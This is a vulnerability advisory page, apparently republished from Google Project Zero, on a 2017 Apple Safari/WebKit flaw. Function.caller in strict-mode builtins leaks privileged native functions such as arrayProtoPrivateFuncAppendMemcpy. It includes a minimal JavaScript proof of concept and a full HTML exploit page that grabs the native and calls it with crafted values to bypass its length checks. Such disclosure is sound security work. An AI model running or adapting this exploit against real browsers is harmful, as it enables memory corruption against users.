Apple Safari - Builtin JavaScript Allows Function.caller to be Used in Strict Mode

🗓️ 27 Mar 2017 00:00:00Reported by Google Security ResearchType

Inconsistent behavior in Apple Safari Builtin JavaScript Function.caller in Strict Mod

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1032

If a builtin script in webkit is in strict mode, but then calls a function that is not strict, this function is allowed to call Function.caller and can obtain a reference to the strict function. This is inconsistent with the behavior when executing non-builtin scripts in Safari, and the behavior in other browsers, where having a single strict function on the call stack forbids calls to Function.caller up to and including the first call to a strict function. This difference allows several sensitive native functions, such as arrayProtoPrivateFuncAppendMemcpy to be called directly, without the JavaScript wrappers that provide type and length checks.

A minimal example of this issue is as follows, and a full example is attached.

var q;
function g(){
	q = g.caller;
	return 7;
}


var a = [1, 2, 3];
a.length = 4;
Object.defineProperty(Array.prototype, "3", {get : g});
[4, 5, 6].concat(a);
q(0x77777777, 0x77777777, 0);


I strongly recommend this issue be fixed by changing the behaviour of Function.caller in strict mode, versus making changes to the natives, as it likely causes many similar problems 
-->

<html>
<body>
<script>

var q;
function g(){
	//print("in g");
	//print(arguments.caller);
	//print(g.caller);
	q = g.caller;
	//print(g.caller);
	return 7;

}

var a = [1, 2, 3];

Object.defineProperty( Array.prototype, "1", { get : g} );


var a = [1, 2, 3];
a.length = 4;
Object.defineProperty(Array.prototype, "3", {get : g});

[4, 5, 6].concat(a);
alert(q);
q(0x7777, 0x7777, 0);

</script>
</body>
</html>

27 Mar 2017 00:00Current

7.4High risk

Vulners AI Score7.4